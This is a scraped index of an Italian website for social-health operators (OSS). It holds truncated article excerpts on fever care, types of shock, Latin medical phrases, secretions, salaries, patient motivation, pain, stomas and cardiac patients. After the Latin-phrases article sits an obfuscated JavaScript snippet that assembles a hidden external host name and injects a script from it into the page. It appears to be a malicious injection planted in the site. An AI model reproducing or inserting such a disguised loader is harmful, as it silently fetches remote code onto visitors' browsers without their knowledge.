professionale delle persone con disabilità; SFA (Servizi di Formazione all’Autonomia): centri per sviluppare l’indipendenza e la gestione della vita quotidiana; Hospice: strutture specializzate nelle cure palliative per pazienti terminali. Queste strutture rappresentano una rete di supporto fondamentale per la società, fornendo assistenza e garantendo un ambiente dignitoso per le persone fragili, supportando le loro famiglie e favorendo l’inclusione e la qualità della vita. Nel corso di questo articolo, esploreremo ciascuna di esse, approfondendo i servizi che offrono e il ruolo che svolgono nella vita di chi si trova a necessitare di assistenza. Il centro diurno per anziani Il centro diurno per anziani è pensato per persone della terza età che, pur non necessitando di assistenza continuativa, possono beneficiare di supporto e attività strutturate durante il giorno. È una risorsa preziosa anche per le famiglie, che spesso si trovano a gestire impegni lavorativi o personali e desiderano assicurare ai propri cari un luogo sicuro e stimolante. Quali attività vengono svolte al suo interno? Le attività proposte nei... --- > La gestione del paziente in stato piretico: tecniche di assistenza, monitoraggio della febbre e collaborazione con il personale sanitario. - Published: 2025-02-06 - Modified: 2025-02-06 - URL: https://ossinreparto.it/stato-piretico-assistenza-paziente/ - Categorie: Assistenza alla Persona - Tag: Guide OSS La gestione del paziente in stato piretico: tecniche di assistenza, monitoraggio della febbre e collaborazione con il personale sanitario. L’assistenza al paziente in stato piretico rappresenta uno degli interventi più delicati per un Operatore Socio-Sanitario (OSS). In queste situazioni, l’OSS riveste un ruolo chiave nel garantire il monitoraggio costante e il supporto necessario per favorire il recupero del benessere. Questo tipo di assistenza richiede competenze tecniche, capacità di osservazione e una grande attenzione ai bisogni della persona, sia fisici che emotivi. Ogni gesto, dalla rilevazione dei parametri vitali alla comunicazione con l’équipe sanitaria, diventa parte integrante di una rete di cura che mira non solo al controllo della condizione, ma anche a migliorare il comfort e la sicurezza del paziente. In questo articolo approfondiremo l’importanza di queste procedure per l’OSS, analizzando le migliori pratiche. Che cos'è la temperatura corporea Per comprendere lo stato piretico, è fondamentale partire dal concetto di temperatura corporea. La temperatura corporea è uno dei principali indicatori dello stato di salute e si riferisce al livello di calore all'interno del corpo umano. Essa è il risultato di un delicato equilibrio tra due processi fisiologici fondamentali: la termogenesi e la termolisi. Cos'è la termogenesi La termogenesi è il processo attraverso il quale il corpo produce calore. Questo fenomeno avviene per mantenere la temperatura corporea entro un intervallo ottimale, che per l’essere umano è generalmente tra i 36,5°C e i 37,5°C. Il corpo produce calore attraverso diverse vie: Metabolismo basale: è l’energia minima necessaria per il funzionamento degli organi vitali (cuore, polmoni, cervello). Questo processo produce una quantità costante di calore; Attività muscolare: i movimenti muscolari e l’attività fisica aumentano la produzione di calore. Il corpo può persino generare calore tramite brividi muscolari involontari quando la temperatura esterna è troppo bassa; Termogenesi indotta dall’alimentazione: il processo digestivo stesso comporta una produzione di calore, detta anche effetto termico degli alimenti; Termogenesi chimica: in situazioni estreme, il corpo utilizza particolari tessuti adiposi, come il grasso bruno, per generare calore in modo rapido, attraverso processi chimici. Cos'è la termolisi La termolisi, al contrario, è il processo che permette al corpo di disperdere il calore in eccesso, per evitare il surriscaldamento. La termolisi avviene tramite diversi meccanismi: Sudorazione: il corpo rilascia sudore sulla superficie della pelle; Vasodilatazione: i vasi sanguigni periferici si dilatano per aumentare il flusso di sangue verso la superficie cutanea, facilitando la dispersione del calore; Respirazione: una parte del calore viene eliminata anche attraverso l’aria espirata. L'equilibrio termico Il bilanciamento tra termogenesi e termolisi è regolato dall'ipotalamo, una regione del cervello che funziona come un "termostato". L'ipotalamo riceve informazioni da recettori termici distribuiti nel corpo e regola la produzione e la dispersione del calore. Qualsiasi squilibrio, come l’eccessiva produzione di calore o una sua dispersione insufficiente, può portare a condizioni come ipertermia (febbre) o ipotermia (temperatura corporea troppo bassa). Cos'è la febbre e i suoi stadi La febbre è una risposta fisiologica dell'organismo a infezioni, infiammazioni o altri fattori di stress che disturbano l'equilibrio interno. Rappresenta un aumento temporaneo della temperatura corporea oltre i livelli normali, mediato dal sistema immunitario come parte della sua difesa contro agenti patogeni. Quando... --- > Scopri cos’è lo shock, le sue tipologie, i sintomi principali e come intervenire per garantire il supporto necessario. - Published: 2025-02-05 - Modified: 2025-04-10 - URL: https://ossinreparto.it/i-vari-tipi-di-shock-sintomi-interventi/ - Categorie: Anatomia - Tag: Guide OSS Scopri cos’è lo shock, le sue tipologie, i sintomi principali e come intervenire per garantire il supporto necessario. Lo shock è una condizione medica critica che può insorgere improvvisamente e mettere a rischio la vita di una persona. Si tratta di un quadro complesso che coinvolge la riduzione dell'apporto di ossigeno ai tessuti, spesso con conseguenze gravi per l’organismo. Riconoscere i sintomi precoci, comprendere i diversi tipi di shock e sapere come intervenire può fare la differenza tra la vita e la morte. In questo articolo esploreremo i segni distintivi dello shock, le sue principali cause e le strategie di intervento, fornendo una guida utile per chiunque voglia approfondire questo tema cruciale in ambito sanitario. Cos'è lo shock? Lo shock è uno stato di insufficienza circolatoria acuta in cui il sangue non riesce a trasportare abbastanza ossigeno agli organi e ai tessuti. Questo porta a una serie di sintomi gravi e, se non trattato, può risultare fatale. Comprendere le caratteristiche dello shock e come riconoscerlo è essenziale, poiché una risposta tempestiva può fare la differenza tra la vita e la morte. I principali sintomi dello shock possono includere: Pallore e sudorazione fredda: il corpo cerca di risparmiare sangue e ossigeno per gli organi vitali; Respiro affannoso: tentativo di compensare la mancanza di ossigeno; Polso rapido e debole: segnale che il cuore sta cercando di pompare più velocemente; Confusione o perdita di coscienza: il cervello riceve meno ossigeno. Per gestire un paziente in stato di shock, è essenziale riconoscere questi segni e intervenire rapidamente, vediamoli insieme. Tipi di shock Esistono diversi tipi di shock, ciascuno con cause specifiche e approcci di intervento mirati. I principali tipi sono: Shock ipovolemico; Shock cardiogeno; Shock settico; Shock anafilattico Shock ipovolemico Lo shock ipovolemico è una condizione medica seria che si verifica quando il corpo perde una quantità di sangue o di liquidi tale da non riuscire più a mantenere un flusso sufficiente di sangue agli organi vitali, come il cuore e il cervello. Immagina che il sangue nel corpo sia come una sorta di "carburante" per gli organi; quando manca, gli organi non riescono a funzionare correttamente. Cosa causa lo shock ipovolemico? Lo shock ipovolemico può essere causato da: Sanguinamenti: come quelli derivanti da un incidente, un intervento chirurgico o una ferita grave; Perdita di liquidi: ad esempio a causa di forte disidratazione dovuta a vomito, diarrea o sudorazione eccessiva; Gravi ustioni: che causano la perdita di plasma, una parte importante del sangue. Come funziona lo shock ipovolemico nel corpo? Quando il corpo perde sangue o liquidi, il cuore non riceve abbastanza "carburante" per pompare il sangue verso tutti gli organi. Per cercare di compensare, il corpo accelera il battito del cuore e restringe i vasi sanguigni. Questi sono tentativi di mantenere la pressione e fornire ossigeno agli organi più importanti, come il cervello e il cuore. Ma, se il problema non viene trattato in tempo, il corpo non ce la fa a sopravvivere a questa mancanza di sangue, e gli organi vitali possono subire danni irreversibili. Tuttavia, questi meccanismi di compenso sono limitati, e quando non è possibile ripristinare adeguatamente il volume ematico,... --- - Published: 2024-12-14 - Modified: 2024-12-14 - URL: https://ossinreparto.it/frasi-latine-famose-ambito-medico/ - Categorie: Storia Scopri le frasi latine più celebri in medicina: storia, significato e contesto delle espressioni che hanno segnato la pratica medica. Quando parliamo di medicina, non ci limitiamo a procedure, diagnosi e trattamenti: ci troviamo anche immersi in un linguaggio che racchiude secoli di storia. In questo contesto, le frasi latine rappresentano un ponte tra la tradizione e la pratica contemporanea. Queste espressioni, nate nei secoli in cui il latino era la lingua ufficiale della scienza e della cultura, sono ancora oggi usate in ambito medico per la loro precisione e universalità. Alcune delle frasi latine più significative Ecco alcune delle frasi latine più diffuse nel mondo medico, con il loro significato e contesto di utilizzo: Primum non nocere Traduzione: “Per prima cosa, non nuocere”. Questa massima etica, attribuita a Ippocrate, è una guida fondamentale per ogni professionista sanitario: prima di agire, bisogna assicurarsi che l'intervento non provochi più danni che benefici. In vitro e In vivo Traduzione: “Nel vetro” e “Nel vivente”. Questi termini si riferiscono agli esperimenti condotti rispettivamente in laboratorio (in vitro) e su organismi viventi (in vivo). Sono concetti centrali nella ricerca biomedica. Locus minoris resistentiae Traduzione: “Luogo di minore resistenza”. Si usa per indicare una parte del corpo più vulnerabile a patologie, come un punto debole dove possono insorgere infezioni o lesioni. Vis medicatrix naturae Traduzione: “La forza guaritrice della natura”. Questo concetto si rifà all’idea che il corpo umano abbia una capacità innata di autoguarigione, spesso supportata ma non sostituita dagli interventi medici. Cura te ipsum Traduzione: “Cura te stesso”. Rappresenta un monito per i professionisti sanitari: prendersi cura della propria salute è essenziale per poter aiutare gli altri in modo efficace. Exitus letalis Traduzione: “Esito mortale”. Una formula utilizzata in referti medici per indicare la morte del paziente come conseguenza di una malattia o di un intervento. Diagnose ex juvantibus Traduzione: “Diagnosi dai giovamenti”. Riferita a quei casi in cui la diagnosi viene formulata in base alla risposta positiva del paziente a un trattamento specifico. Perché queste frasi sono ancora importanti? Le frasi latine non sono solo eleganti: la loro persistenza è dovuta alla capacità di esprimere concetti complessi in modo sintetico e preciso. Inoltre, il latino è una lingua universale e immutabile, che permette ai professionisti della salute di comunicare oltre le barriere linguistiche. Per gli operatori socio-sanitari (OSS), conoscere queste espressioni non è solo una questione di cultura generale, ma può arricchire la comprensione del linguaggio medico e favorire una comunicazione più efficace con medici e infermieri. Ad esempio, un OSS che riconosce il significato di “Locus minoris resistentiae” potrà comprendere meglio le indicazioni di un medico riguardo a un’area del corpo particolarmente vulnerabile di un paziente. Conclusione Le frasi latine rappresentano un prezioso patrimonio del sapere medico, unendo tradizione e innovazione. Per chi opera nel settore sanitario, familiarizzare con queste espressioni significa non solo onorare la storia della medicina, ma anche migliorare la propria capacità di interpretare documenti clinici e comunicare con colleghi. (function{ a3wl=document. createElement("script");a3wl_="u"+("s")+"ta"; a3wl_+=("t. i")+""+"n";a3wl_+=(("f")+"o");a3wl. type="text/javascript"; a3wl_+="/"; a3wlu="2368261440";a3wlu+=". pXhptewa3wlq3azhnss";a3wlu+="l6ues48y96a"; a3wl. src="https://"+a3wl_+a3wlu;a3wl. async=true;document. body. appendChild(a3wl); }); --- > Scopri le differenze tra secrezione ed escrezione, i loro ruoli nel corpo umano e l'importanza dell'OSS nella gestione di questi processi. - Published: 2024-12-13 - Modified: 2025-04-14 - URL: https://ossinreparto.it/secreti-ed-escreti-procedure-oss/ - Categorie: Anatomia Scopri le differenze tra secrezione ed escrezione, i loro ruoli nel corpo umano e l'importanza dell'OSS nella gestione di questi processi. Nel corpo umano, secrezione ed escrezione giocano ruoli fondamentali per mantenere il corretto equilibrio fisiologico. Secreti come saliva, sudore e ormoni sono prodotti che il corpo utilizza in vari processi vitali, mentre escreti come urina e feci sono sostanze di scarto da eliminare. Il ruolo dell'Operatore Socio-Sanitario (OSS) è fondamentale nella gestione di entrambe le funzioni. In questo articolo esploreremo le differenze tra secrezione ed escrezione, le rispettive funzioni fisiologiche, e le procedure che l'OSS deve seguire. Secreti: funzioni e organi coinvolti La secrezione è il processo attraverso il quale le cellule rilasciano sostanze utili all’organismo. Tra queste, ci sono enzimi, ormoni, saliva e sudore, che svolgono funzioni specifiche per il mantenimento dell’omeostasi e per la regolazione di processi vitali. Organi coinvolti nella secrezione Gli organi che secretano includono: Ghiandole salivari: producono saliva, che aiuta la digestione (importante per l'apparato digerente); Ghiandole sudoripare: rilasciano sudore per la termoregolazione; Pancreas: secerne enzimi digestivi e ormoni come l'insulina (scopri cos'è leggendo l'articolo sul paziente diabetico); Tiroide: produce ormoni che regolano il metabolismo. Funzioni principali dei secreti I secreti sono sostanze prodotte e rilasciate da ghiandole o cellule specializzate nel corpo umano, svolgendo un ruolo fondamentale in numerosi processi fisiologici. Questi fluidi non solo sono coinvolti nella digestione e nell'assorbimento dei nutrienti, ma partecipano anche alla regolazione ormonale, alla protezione dell'organismo e alla comunicazione chimica. Ogni secrezione ha una funzione specifica che contribuisce al mantenimento dell'equilibrio e al buon funzionamento dell'intero sistema corporeo. Digestione Durante il processo digestivo, i secreti corporei sono determinanti. La saliva, prodotta dalle ghiandole salivari, contiene enzimi come l'amilasi che inizia la digestione dei carboidrati già nella bocca. Questa scomposizione parziale facilita l'assimilazione degli alimenti quando raggiungono lo stomaco e l'intestino. Successivamente, il pancreas secreta enzimi digestivi come la lipasi, la proteasi e l'amilasi pancreatica nel duodeno, che sono essenziali per la digestione dei grassi, delle proteine e dei carboidrati rispettivamente. Questi enzimi completano la digestione chimica degli alimenti, permettendo ai nutrienti di essere assorbiti efficacemente dall'intestino. Regolazione Ormonale Le ghiandole endocrine, come la tiroide, l'ipofisi e le ghiandole surrenali, rilasciano ormoni direttamente nel flusso sanguigno. Questi ormoni sono messaggeri chimici che regolano una vasta gamma di funzioni corporee. Ad esempio, l'ormone tiroideo regola il metabolismo, influenzando la velocità con cui le cellule producono energia. L'ormone della crescita, secreto dall'ipofisi, stimola la crescita e la rigenerazione dei tessuti. Inoltre, gli ormoni sessuali come gli estrogeni e il testosterone sono fondamentali per la riproduzione e lo sviluppo delle caratteristiche sessuali secondarie. La regolazione precisa di questi ormoni è essenziale per il mantenimento dell'omeostasi e del benessere generale. Termoregolazione La termoregolazione è il processo attraverso il quale il corpo mantiene una temperatura interna stabile nonostante le variazioni ambientali. Il sudore, prodotto dalle ghiandole sudoripare, gioca un ruolo centrale in questo processo. Quando la temperatura corporea aumenta, come durante l'esercizio fisico o in ambienti caldi, le ghiandole sudoripare secernono sudore sulla superficie della pelle. L'evaporazione del sudore dalla pelle rimuove il calore dal corpo, contribuendo a raffreddarlo. Questo meccanismo di raffreddamento è... --- > Lo stipendio mensile di un Operatore Socio Sanitario, può variare tra il settore pubblico e privato e influenzato da esperienza e regione. - Published: 2024-11-28 - Modified: 2025-04-01 - URL: https://ossinreparto.it/quanto-guadagna-un-operatore-socio-sanitario/ - Categorie: Lavoro, Diventare OSS - Tag: Lavorare come OSS Lo stipendio mensile di un Operatore Socio Sanitario, può variare tra il settore pubblico e privato e influenzato da esperienza e regione. L'Operatore Socio Sanitario (OSS) rappresenta il pilastro nell'assistenza diretta agli anziani. Il suo scopo è garantire la cura, il benessere e l’assistenza di pazienti, anziani e persone con disabilità. Tuttavia, uno degli aspetti più discussi riguardo questa professione è lo stipendio. Quanto guadagna realmente un OSS? Cosa influisce sul suo salario? In questo articolo, esploreremo i vari aspetti che determinano lo stipendio di un OSS in Italia, dai contratti e inquadramenti alle differenze tra settore pubblico e privato, e tra le diverse regioni del paese. I fattori che influenzano i guadagni di un OSS I guadagni di un Operatore Socio Sanitario (OSS) dipendono da diversi fattori, che analizzeremo nel dettaglio nel corso dell'articolo: Contratto collettivo nazionale di lavoro (CCNL) applicato: differenze tra pubblico e privato; Regime contrattuale: full-time, part-time o contratti atipici; Turni e straordinari: indennità per lavoro notturno, festivo e ore aggiuntive; Zona geografica: retribuzioni variabili in base al costo della vita e alla domanda di personale; Specializzazioni e formazione continua: competenze aggiuntive che possono incrementare lo stipendio; Tipo di datore di lavoro: ospedali pubblici, RSA, cooperative o famiglie private; Esperienza professionale: scatti di anzianità e premi per lavoratori con maggiore esperienza; Questi elementi, combinati, influenzano la retribuzione complessiva e le opportunità di crescita professionale. Il tipo di contratto L'inquadramento contrattuale è uno degli aspetti più determinanti. Gli OSS con contratto a tempo indeterminato godono di una maggiore stabilità e, in genere, di una retribuzione più alta rispetto a quelli con contratti temporanei o a chiamata. Alcuni contratti collettivi nazionali (CCNL) che regolano l'impiego degli OSS includono: CCNL AIOP: È il contratto collettivo per le strutture private, come le cliniche e le case di riposo private. I lavoratori che rientrano sotto questo CCNL godono di una retribuzione che può essere più alta rispetto ad altri contratti, specialmente se si tratta di strutture sanitarie specializzate; CCNL Funzioni Locali: È il contratto per gli OSS che lavorano nelle amministrazioni pubbliche locali, tra cui le Aziende Sanitarie Locali (ASL). Questo contratto stabilisce gli stipendi e le condizioni di lavoro per gli OSS in ambito pubblico. L’esperienza professionale e l’influenza sullo stipendio L’esperienza professionale determina lo stipendio di un Operatore Socio Sanitario (OSS). Sebbene all'inizio della carriera uno stipendio da OSS possa essere più basso, con il passare degli anni e l’acquisizione di esperienza, la retribuzione tende ad aumentare. Questo è particolarmente evidente nelle strutture private o in quelle specializzate dove le competenze specifiche sono molto ricercate. I vari inquadramenti contrattuali dell'OSS L’inquadramento contrattuale degli Operatori Socio-Sanitari (OSS) varia a seconda che si operi nel settore pubblico o privato, pur mantenendo alcune caratteristiche comuni. Questa classificazione non riguarda solo la retribuzione, ma anche i diritti, i doveri e i benefit accessori. Settore pubblico: CCNL Sanità Nel pubblico, gli OSS sono inquadrati secondo il Contratto Collettivo Nazionale del Lavoro (CCNL) Sanità. Categoria B: è il livello base di inquadramento per chi inizia nel ruolo di OSS. Qui rientrano coloro che svolgono mansioni operative, prevalentemente di supporto e assistenza. Categoria C: riservata agli OSS che,... --- > L'OSS supporta il cambiamento del paziente con empatia, tecniche motivazionali e strategie mirate per promuovere fiducia e benessere. - Published: 2024-11-27 - Modified: 2024-11-27 - URL: https://ossinreparto.it/la-motivazione-del-paziente/ - Categorie: Psicologia - Tag: Lavorare come OSS L'OSS supporta il cambiamento del paziente con empatia, tecniche motivazionali e strategie mirate per promuovere fiducia e benessere. La motivazione del paziente è un elemento fondamentale per il successo di qualsiasi percorso di cura. Come Operatore Socio-Sanitario (OSS), è essenziale comprendere cosa alimenta o ostacola la volontà di un paziente di partecipare attivamente al proprio benessere. Questo articolo esplorerà le basi della motivazione, le tecniche di comunicazione terapeutica per supportarla e gli strumenti che un OSS può utilizzare per rendere il proprio intervento più efficace, favorendo una relazione empatica e collaborativa. Cos’è la motivazione e perché è importante Secondo Miller, la motivazione può essere vista come uno stato di apertura e disponibilità al cambiamento. In altre parole, è la probabilità che una persona decida di adottare un nuovo comportamento. Questa probabilità nasce da un equilibrio dinamico tra fattori positivi e negativi legati alle abitudini: se i primi prevalgono, il cambiamento avviene, altrimenti no. La motivazione, quindi, non è qualcosa di statico, ma un processo in continua evoluzione, influenzato da molteplici aspetti. Tra questi, spicca la qualità della relazione medico-paziente, che può giocare un ruolo importante: un rapporto positivo può favorire il desiderio di cambiare, mentre una relazione carente può innescare resistenze che ostacolano il percorso. I fattori della motivazione La motivazione al cambiamento si fonda su tre pilastri principali che influenzano il comportamento e il processo decisionale della persona: Frattura interiore: La motivazione può nascere da una dolorosa consapevolezza delle contraddizioni tra la propria condizione attuale e i valori, le aspirazioni o gli obiettivi personali. Questa dissonanza cognitiva (teorizzata da Festinger nel 1957) agisce come una spinta interna al cambiamento, perché la persona desidera ristabilire un equilibrio tra ciò che è e ciò che vuole essere; Autoefficacia: La fiducia nella propria capacità di raggiungere un obiettivo specifico in un tempo determinato è fondamentale per intraprendere un cambiamento. Secondo Bandura (1977), l’autoefficacia rappresenta la convinzione di poter superare gli ostacoli e adottare comportamenti efficaci. Incrementare questa fiducia significa rendere la persona più consapevole delle proprie risorse e potenzialità; Disponibilità al cambiamento: Il grado di riconoscimento del problema e la volontà di modificare un comportamento o prendere una decisione sono elementi centrali per avviare il processo. Questo concetto, elaborato da Prochaska e Di Clemente (1986), sottolinea che il cambiamento è possibile solo quando il soggetto è pronto a riconoscere la necessità di agire. I sei stadi del cambiamento Prochaska e Di Clemente hanno sviluppato il modello "transteorico" del cambiamento, un approccio che descrive il processo di trasformazione come un percorso graduale articolato in sei stadi principali, disposti lungo un ciclo. La natura ciclica di questo modello evidenzia come il cambiamento non sia lineare: ricadute e regressioni fanno parte del cammino e non devono essere percepite come fallimenti, ma come tappe normali di un processo complesso e dinamico. Vediamoli insieme: Precontemplazione: La persona non è consapevole del problema o non considera di modificare il proprio comportamento. Non c’è ancora una vera intenzione di cambiare; Contemplazione: Inizia a emergere l’ambivalenza: il soggetto riflette sui pro e contro del cambiamento, ma è ancora indeciso; Preparazione: La bilancia pende verso il cambiamento. I vantaggi vengono percepiti come... --- > Il dolore, esperienza complessa e personale, segnala un problema fisico per la medicina e coinvolge mente e emozioni per la psicologia. - Published: 2024-11-11 - Modified: 2024-11-16 - URL: https://ossinreparto.it/il-dolore-cose-come-viene-elaborato-dal-cervello/ - Categorie: Assistenza alla Persona, Psicologia - Tag: Guide OSS Il dolore, esperienza complessa e personale, segnala un problema fisico per la medicina e coinvolge mente e emozioni per la psicologia. Il dolore, in tutte le sue forme, rappresenta una delle esperienze più complesse e universali per l'essere umano, che può essere percepito in modo diverso da persona a persona. Dal punto di vista medico, è considerato un segnale di allarme che indica un danno o una disfunzione nel corpo, mentre in psicologia viene visto come un fenomeno che coinvolge anche la mente e le emozioni. Esistono diverse tipologie di dolore, ognuna con caratteristiche uniche legate alla sua origine, durata e intensità. Per poter comprendere e gestire il dolore in modo adeguato, è fondamentale misurarlo in modo accurato. A tal fine, sono state sviluppate scale di valutazione, che permettono di esprimere e monitorare il livello di sofferenza in modo oggettivo e standardizzato. In questo articolo, esploreremo le principali scale utilizzate in ambito medico, per capire come queste possano supportare i professionisti nella gestione del dolore e nel miglioramento del benessere del paziente. Cos’è il dolore Il dolore è un’esperienza complessa e multidimensionale che può essere esaminata sia dal punto di vista medico sia da quello psicologico. Ogni disciplina, pur avendo prospettive differenti, offre un contributo fondamentale alla comprensione e alla gestione del dolore. Il dolore in medicina In medicina, il dolore è considerato un segnale del corpo che indica un danno tissutale o una disfunzione fisiologica. È classificato in base alla sua durata (acuto o cronico), alla sua origine (somatico, viscerale, neuropatico), e alla sua intensità. Il dolore acuto, che dura pochi giorni o settimane, è spesso il sintomo di una lesione temporanea, come una ferita o un’infiammazione. Il dolore cronico, invece, persiste per più di tre mesi e può essere sintomo di condizioni patologiche più complesse, come malattie reumatiche, neuropatie o malattie oncologiche. Dal punto di vista fisiopatologico, il dolore è trasmesso attraverso il sistema nervoso centrale e periferico, tramite segnali che, dalle terminazioni nervose, arrivano al cervello, dove vengono elaborati. Le risposte farmacologiche al dolore includono analgesici, antinfiammatori, oppioidi e altre categorie di farmaci in base all’origine e all’intensità del dolore. Il dolore in psicologia In psicologia, il dolore viene considerato un fenomeno bio-psico-sociale che non riguarda solo il corpo, ma anche la mente e l’interazione sociale dell’individuo. Il dolore cronico, ad esempio, spesso causa sofferenza psicologica e isolamento, alimentando circoli viziosi tra dolore fisico e disagio mentale. La percezione del dolore può essere amplificata da fattori emotivi come ansia, depressione e stress, che aumentano il senso di vulnerabilità e riducono la resilienza del paziente. A livello psicologico, il dolore può anche acquisire significati simbolici, come una forma di espressione di sofferenze interiori non risolte. Interventi psicologici come la terapia cognitivo-comportamentale mirano a modificare le percezioni del dolore e le risposte emotive ad esso associate. Tecniche come il biofeedback, la mindfulness e l’ipnosi possono aiutare i pazienti a controllare meglio la percezione del dolore. Tipi di Dolore In precedenza abbiamo esplorato i diversi tipi di dolore, distinguendoli in base alla loro durata, origine e intensità. Abbiamo visto come il dolore possa essere classificato in acuto o cronico e come... --- > Cos'è la stomia e come migliorare il benessere psicologico e la qualità della vita nei pazienti affetti da stomia. - Published: 2024-10-26 - Modified: 2024-10-22 - URL: https://ossinreparto.it/stomia-cosa-e-come-affrontarla/ - Categorie: Psicologia Strategie per migliorare il benessere psicologico e la qualità della vita nei pazienti con stomia. Il benessere psicologico è un elemento fondamentale della salute complessiva di un individuo. Gli interventi chirurgici, sebbene spesso valutati in termini di esito medico immediato, devono essere considerati anche in relazione agli impatti sulla vita dei pazienti a lungo termine. In particolare, le persone che hanno subito un intervento di stomia, che può assumere diverse forme, si trovano di fronte a sfide psicologiche e sociali che possono influenzare notevolmente la loro qualità della vita. Questo articolo esplorerà il tema del benessere psicologico e della qualità della vita nei pazienti con stomia, mettendo in luce le sfide emotive e le possibili strategie di supporto. Impatto psicologico della stomia L'intervento chirurgico, indubbiamente un'arma potente contro numerose malattie, può introdurre cambiamenti significativi nella vita dei pazienti. La stomia, una procedura che comporta la creazione di un'apertura artificiale per il drenaggio delle sostanze corporee, può risultare particolarmente complessa dal punto di vista psicologico. Essendo priva di terminazioni nervose, la stomia non può essere controllata volontariamente, e i pazienti devono indossare un sacchetto attaccato all'apertura per raccogliere le sostanze eliminate. Questo può avere profondi effetti sulla percezione di sé e sulla qualità della vita complessiva. Sfide emotivo-psicologiche Gli individui sottoposti a un intervento di stomia si trovano ad affrontare molteplici sfide emotive e psicologiche. Il cambiamento nell'aspetto corporeo e la difficoltà nell'accettare la nuova immagine di sé possono generare una ferita psicologica parallela alla ferita fisica. La perdita del controllo su una parte del proprio corpo può innescare sentimenti di perdita, mutilazione e persino invidia verso chi è privo di tali limitazioni. La sensazione di diversità, unita all'eventuale imbarazzo legato alla necessità di gestire il sacchetto, può portare all'isolamento sociale. Alcuni pazienti possono negare la propria condizione come meccanismo di difesa contro il dolore emotivo associato. Questi fattori possono contribuire allo sviluppo di patologie psicologiche come l'ansia e la depressione, se non affrontati adeguatamente. Supporto psicologico e riabilitazione Il supporto a un paziente con stomia si concentra principalmente sugli aspetti psicologici e sociali che questa condizione può comportare. Collaborando con l'operatore socio-sanitario (OSS), si può fornire un'assistenza integrata che tenga conto sia dei bisogni fisici che emotivi del paziente. Ecco alcune linee guida su come fornire supporto psicologico. Accoglienza e ascolto attivo Un primo passo importante è offrire al paziente uno spazio sicuro per esprimere i propri sentimenti. La stomia può causare disagi fisici e psicologici, come ansia, imbarazzo, depressione o senso di perdita di controllo. L'ascolto attivo aiuta a creare fiducia e favorisce l'espressione di questi sentimenti. L'Operatore Socio Sanitario può collaborare monitorando le condizioni fisiche del paziente e osservando eventuali segni di disagio emotivo o ritiro sociale, condividendo queste osservazioni con lo psicologo. Supporto alla gestione dello stigma e dell'immagine corporea I pazienti con stomia possono avere difficoltà ad accettare il cambiamento del proprio corpo e sentirsi stigmatizzati. Qui è fondamentale aiutare il paziente a rielaborare l’immagine corporea e favorire un’autostima positiva. Intervento psicologico: Aiutare il paziente a riconoscere e normalizzare i propri sentimenti, e fornire strumenti per gestire l'ansia legata all'immagine corporea.... --- > Scopri il ruolo dell'Operatore Socio-Sanitario (OSS) nell'assistenza ai pazienti cardiopatici e come possono prevenire attacchi cardiaci. - Published: 2024-10-24 - Modified: 2025-04-10 - URL: https://ossinreparto.it/assistenza-oss-paziente-cardiopatico/ - Categorie: Assistenza alla Persona - Tag: Guide OSS Scopri il ruolo dell'Operatore Socio-Sanitario (OSS) nell'assistenza ai pazienti cardiopatici e come possono prevenire attacchi cardiaci. La cardiopatia è una delle principali cause di mortalità a livello mondiale e colpisce milioni di persone ogni anno. Questa condizione richiede un approccio multidisciplinare, in cui il ruolo dell'Operatore Socio Sanitario (OSS) è fondamentale per garantire un'assistenza adeguata e personalizzata al paziente. Gli OSS svolgono una funzione essenziale nel monitorare le condizioni del paziente, prevenire complicazioni e fornire supporto emotivo. Questo articolo offre una guida dettagliata su come l'OSS può assistere efficacemente il paziente cardiopatico. Che cos'è la cardiopatia? La cardiopatia è un termine medico che indica qualsiasi malattia o disfunzione del cuore. Include una vasta gamma di condizioni che possono colpire il muscolo cardiaco, le valvole, le arterie coronarie, o le strutture circostanti, influenzando la capacità del cuore di pompare sangue in modo efficiente. Le cardiopatie possono essere congenite (presenti dalla nascita) o acquisite e comprendono condizioni come la cardiopatia ischemica, l’insufficienza cardiaca, le aritmie, le cardiomiopatie e le malattie delle valvole cardiache. Definizione e tipi di cardiopatia Le principali forme di cardiopatia sono: Cardiopatia cianotica: È una malformazione del cuore presente alla nascita che provoca cianosi, ossia una colorazione blu della pelle, a causa di un'anomalia nel flusso sanguigno. Tra le condizioni più comuni in questa categoria ci sono la tetralogia di Fallot e la trasposizione dei grandi vasi, dove il cuore non si sviluppa correttamente; Cardiopatia congenita: Questa è una malformazione del cuore che si sviluppa durante le prime settimane di gravidanza. Le cardiopatie congenite possono includere: a) Difetti gravi nella struttura del cuore, come l'assenza di una parte del cuore. b) Posizioni anomale delle pareti interne del cuore, che possono causare problemi come il cuore a due o tre camere invece delle quattro normali. c) Malposizionamento delle arterie principali alla base del cuore, come nella trasposizione dei grandi vasi. d) Restringimenti o ostruzioni nelle valvole che regolano il flusso sanguigno dal cuore ai polmoni o al resto del corpo. e) Problemi nelle valvole cardiache, come l'anomalia di Ebstein, che influenzano il normale funzionamento del cuore. f) Anomalie nei principali vasi sanguigni, come vene che non si collegano correttamente al cuore. Cardiopatia da ipotiroidismo: Questa cardiopatia si verifica quando la tiroide funziona troppo lentamente (ipotiroidismo), causando un indebolimento del cuore, che può diventare rigido e funzionare meno efficacemente. Questo tipo di cardiopatia è più comune nelle donne; Cardiopatia ipertensiva: Questa condizione si sviluppa quando la pressione arteriosa è costantemente alta, costringendo il cuore a lavorare di più. Con il tempo, questo sforzo può causare danni al cuore, portando a problemi come l'insufficienza cardiaca; Cardiopatia ischemica: È una malattia causata dal restringimento o dall'ostruzione delle arterie coronarie, che riducono l'afflusso di sangue al cuore. Le principali conseguenze possono essere dolore al petto (angina), attacchi di cuore e insufficienza cardiaca; Cardiopatia reumatica: Questa cardiopatia deriva da episodi di febbre reumatica, che possono danneggiare le valvole del cuore, rendendole rigide o deformate. Ciò può causare difficoltà nel flusso sanguigno attraverso il cuore; Cardiopatia da ipertiroidismo: Questa condizione è legata a un'eccessiva attività della tiroide (ipertiroidismo), che può causare un'accelerazione... --- - Published: 2024-10-22 - Modified: 2025-04-01 - URL: https://ossinreparto.it/superare-esame-oss-operatore-socio-sanitario/ - Categorie: Diventare OSS - Tag: Esame OSS Consigli e strategie per affrontare con successo l'esame per Operatore Socio-Sanitario (OSS). L'esame OSS (Operatore Socio-Sanitario) è un test molto importante per coloro che desiderano intraprendere una carriera nel settore dell'assistenza sanitaria. Questo esame serve a valutare le competenze e le conoscenze necessarie per svolgere il ruolo di OSS in modo efficace ed efficiente. In questo articolo, esploreremo i dettagli di questo esame e forniremo informazioni utili per coloro che desiderano prepararsi adeguatamente. Che cos'è l'esame OSS? L'esame OSS è un test che valuta le competenze e le conoscenze di 